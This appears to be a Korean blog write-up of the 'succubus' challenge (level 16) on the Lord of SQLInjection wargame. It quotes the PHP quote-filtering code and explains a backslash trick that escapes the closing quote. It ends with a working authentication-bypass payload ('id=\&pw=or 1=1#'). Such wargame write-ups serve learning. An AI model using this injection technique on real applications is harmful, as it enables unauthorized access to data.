반응형
Lord of SQLInjection 16번 succubus
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
필터링은 5가지가 있다.
1) prob
2) _
3) .
4) ()
5) '
이 중 싱글쿼터(')를 우회해야 하는 문제이다.
싱글쿼터 우회방법에는 백슬래시(\)를 사용할 수 있다.
백슬래시는 사용하면 뒤에 있는 싱글쿼터가 문자열로 인식하게 된다.
id=\로 입력하게 되면 쿼리는 다음과 같이 나온다.
query : select id from prob_succubus where id='\' and pw=''
id는 '\' and pw=' 가 된다.
id 값이 false 이므로 뒤에 or를 써서 true값을 만들어 주면 pw 없이 문제가 해결된다.
-->
php?id=\&%20pw=or%201=1%23
false or true ==> true
반응형
'#WarGame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection 19번 xavis (0) | 2021.09.18 |
---|---|
Lord of SQLInjection 18번 nightmare (0) | 2021.09.18 |
Lord of SQLInjection 15번 assassin (0) | 2021.09.16 |
Lord of SQLInjection 14번 giant (0) | 2021.09.16 |
Lord of SQLInjection 13번 bugbear (0) | 2021.08.10 |